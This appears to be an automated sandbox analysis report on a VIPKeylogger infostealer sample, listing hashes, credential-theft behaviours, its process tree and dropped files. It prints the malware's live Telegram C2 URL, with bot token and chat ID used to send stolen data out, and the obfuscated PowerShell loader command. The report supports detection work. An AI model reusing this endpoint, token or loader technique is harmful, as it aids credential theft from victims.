Analysis

  • max time kernel
    140s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250410-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250410-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/04/2025, 13:11

General

  • Target

    Unodens.exe

  • Size

    1.0MB

  • MD5

    bb02b2519acf35d79d4cddcb650faa0d

  • SHA1

    9f6c09441b9f2ac91953bfbc58ff2fb69d95e764

  • SHA256

    7638cea93334af3658ccd523affd183a8eac3fc833a31f4dce7a53648fb88ef3

  • SHA512

    575ef5ef863fcc7cd6d92a5ebead8fd56ce0ef4c76a41ad5892813bf3a7432f7d87a4f14fb7d4778ff5f4f4948b6490ed23c32b9d1f1eb5893ffb5c5fa1b5a5b

  • SSDEEP

    24576:ihzDt9Q2MEf50qCx/MK+sqVj50LLoborPpIgaQQhN+AW:iBDt9JfuHxV+h70A0CZLW

Malware Config

Extracted

Family

vipkeylogger

C2

https://api.telegram.org/bot7950187892:AAGsaHbTZULExJN6JaJZFgwgKccygMmel5s/sendMessage?chat_id=7050097659

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • NSIS installer 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Unodens.exe
    "C:\Users\Admin\AppData\Local\Temp\Unodens.exe"
    1⤵
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2296
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle 1 "$Civilhortonomernes=GC -raw 'C:\Users\Admin\AppData\Local\Temp\antoni\Kiaugh90\spiralfjedrene\Nikkellegering.Den';$Bajonetten=$Civilhortonomernes.SubString(54540,3);.$Bajonetten($Civilhortonomernes)"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3764
      • C:\Users\Admin\AppData\Local\Temp\Arseniate.exe
        "C:\Users\Admin\AppData\Local\Temp\Arseniate.exe"
        3⤵
        • Loads dropped DLL
        • Accesses Microsoft Outlook profiles
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:1968

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Arseniate.exe

    Filesize

    1.0MB

    MD5

    bb02b2519acf35d79d4cddcb650faa0d

    SHA1

    9f6c09441b9f2ac91953bfbc58ff2fb69d95e764

    SHA256

    7638cea93334af3658ccd523affd183a8eac3fc833a31f4dce7a53648fb88ef3

    SHA512

    575ef5ef863fcc7cd6d92a5ebead8fd56ce0ef4c76a41ad5892813bf3a7432f7d87a4f14fb7d4778ff5f4f4948b6490ed23c32b9d1f1eb5893ffb5c5fa1b5a5b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k0ijvuvs.o0z.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\antoni\Kiaugh90\spiralfjedrene\Nikkellegering.Den

    Filesize

    53KB

    MD5

    daee23494cb2039ad5ea0486945a0df0

    SHA1

    f6982455b15c62ba79500f3f1c953c7c30ad3ddd

    SHA256

    c2d9b8b50e800c97958e1680266d11587e46929325ce7895705bb1798a03b6c8

    SHA512

    b657ed6717e21cbcf74fc463a869c53fa55b4a3deb4dbb7585bcbef89156cf7626a778f7e83377a0cdd585ef2de0e8d8ce06e86b31f38733e60030b6f2f5e779

  • C:\Users\Admin\AppData\Local\Temp\antoni\Kiaugh90\spiralfjedrene\Petrary.Hel

    Filesize

    453KB

    MD5

    312355bd2c5ba9a0de3f46dc2491a466

    SHA1

    308789dcad035ef6fbae7e2f222070ae9a9b8417

    SHA256

    b7fe878ceeb4152b0a53ac714af5b1cdb43bb6e9a6522f50f41986e94e68b330

    SHA512

    7ddc523a04cd3bd668d8ffbf2ff24e91f92817d416d904ae7fff501dbd1cce2ea590d7c364701f6d6135ae1f5f247f9d1d4347dfb39a274824df59e8b0e63ec0

  • memory/1968-94-0x00000000007D0000-0x0000000001A24000-memory.dmp

    Filesize

    18.3MB

  • memory/1968-103-0x0000000023F50000-0x0000000023F5A000-memory.dmp

    Filesize

    40KB

  • memory/1968-102-0x0000000023E60000-0x0000000023EF2000-memory.dmp

    Filesize

    584KB

  • memory/1968-100-0x00000000238D0000-0x0000000023DFC000-memory.dmp

    Filesize

    5.2MB

  • memory/1968-99-0x00000000236C0000-0x0000000023710000-memory.dmp

    Filesize

    320KB

  • memory/1968-98-0x00000000234D0000-0x0000000023692000-memory.dmp

    Filesize

    1.8MB

  • memory/1968-97-0x00000000228D0000-0x000000002296C000-memory.dmp

    Filesize

    624KB

  • memory/1968-96-0x00000000007D0000-0x000000000081A000-memory.dmp

    Filesize

    296KB

  • memory/1968-95-0x00000000007D0000-0x0000000001A24000-memory.dmp

    Filesize

    18.3MB

  • memory/3764-61-0x0000000073910000-0x00000000740C0000-memory.dmp

    Filesize

    7.7MB

  • memory/3764-67-0x0000000008010000-0x000000000803A000-memory.dmp

    Filesize

    168KB

  • memory/3764-38-0x0000000006BA0000-0x0000000006BEC000-memory.dmp

    Filesize

    304KB

  • memory/3764-39-0x0000000006DB0000-0x0000000006E46000-memory.dmp

    Filesize

    600KB

  • memory/3764-40-0x0000000006D70000-0x0000000006D8A000-memory.dmp

    Filesize

    104KB

  • memory/3764-41-0x0000000007A50000-0x0000000007A72000-memory.dmp

    Filesize

    136KB

  • memory/3764-42-0x00000000080B0000-0x0000000008654000-memory.dmp

    Filesize

    5.6MB

  • memory/3764-44-0x0000000008CE0000-0x000000000935A000-memory.dmp

    Filesize

    6.5MB

  • memory/3764-46-0x000000006FD90000-0x000000006FDDC000-memory.dmp

    Filesize

    304KB

  • memory/3764-45-0x0000000007C50000-0x0000000007C82000-memory.dmp

    Filesize

    200KB

  • memory/3764-56-0x0000000007C90000-0x0000000007CAE000-memory.dmp

    Filesize

    120KB

  • memory/3764-58-0x0000000073910000-0x00000000740C0000-memory.dmp

    Filesize

    7.7MB

  • memory/3764-59-0x0000000073910000-0x00000000740C0000-memory.dmp

    Filesize

    7.7MB

  • memory/3764-57-0x0000000007CC0000-0x0000000007D63000-memory.dmp

    Filesize

    652KB

  • memory/3764-60-0x0000000007DC0000-0x0000000007DCA000-memory.dmp

    Filesize

    40KB

  • memory/3764-36-0x0000000006240000-0x0000000006594000-memory.dmp

    Filesize

    3.3MB

  • memory/3764-62-0x0000000007F20000-0x0000000007F31000-memory.dmp

    Filesize

    68KB

  • memory/3764-63-0x0000000007F70000-0x0000000007F7E000-memory.dmp

    Filesize

    56KB

  • memory/3764-64-0x0000000007F80000-0x0000000007F94000-memory.dmp

    Filesize

    80KB

  • memory/3764-65-0x0000000007FC0000-0x0000000007FDA000-memory.dmp

    Filesize

    104KB

  • memory/3764-66-0x0000000007FB0000-0x0000000007FB8000-memory.dmp

    Filesize

    32KB

  • memory/3764-37-0x0000000006840000-0x000000000685E000-memory.dmp

    Filesize

    120KB

  • memory/3764-68-0x0000000008040000-0x0000000008064000-memory.dmp

    Filesize

    144KB

  • memory/3764-69-0x0000000073910000-0x00000000740C0000-memory.dmp

    Filesize

    7.7MB

  • memory/3764-71-0x0000000073910000-0x00000000740C0000-memory.dmp

    Filesize

    7.7MB

  • memory/3764-74-0x0000000073910000-0x00000000740C0000-memory.dmp

    Filesize

    7.7MB

  • memory/3764-73-0x000000007391E000-0x000000007391F000-memory.dmp

    Filesize

    4KB

  • memory/3764-75-0x0000000073910000-0x00000000740C0000-memory.dmp

    Filesize

    7.7MB

  • memory/3764-77-0x0000000073910000-0x00000000740C0000-memory.dmp

    Filesize

    7.7MB

  • memory/3764-76-0x0000000009360000-0x000000000BBF1000-memory.dmp

    Filesize

    40.6MB

  • memory/3764-78-0x0000000073910000-0x00000000740C0000-memory.dmp

    Filesize

    7.7MB

  • memory/3764-79-0x0000000073910000-0x00000000740C0000-memory.dmp

    Filesize

    7.7MB

  • memory/3764-80-0x0000000073910000-0x00000000740C0000-memory.dmp

    Filesize

    7.7MB

  • memory/3764-25-0x0000000006160000-0x00000000061C6000-memory.dmp

    Filesize

    408KB

  • memory/3764-26-0x00000000061D0000-0x0000000006236000-memory.dmp

    Filesize

    408KB

  • memory/3764-24-0x0000000005880000-0x00000000058A2000-memory.dmp

    Filesize

    136KB

  • memory/3764-23-0x0000000073910000-0x00000000740C0000-memory.dmp

    Filesize

    7.7MB

  • memory/3764-22-0x0000000005AC0000-0x00000000060E8000-memory.dmp

    Filesize

    6.2MB

  • memory/3764-21-0x0000000073910000-0x00000000740C0000-memory.dmp

    Filesize

    7.7MB

  • memory/3764-20-0x0000000002F10000-0x0000000002F46000-memory.dmp

    Filesize

    216KB

  • memory/3764-19-0x000000007391E000-0x000000007391F000-memory.dmp

    Filesize

    4KB

  • memory/3764-81-0x0000000073910000-0x00000000740C0000-memory.dmp

    Filesize

    7.7MB

  • memory/3764-83-0x0000000073910000-0x00000000740C0000-memory.dmp

    Filesize

    7.7MB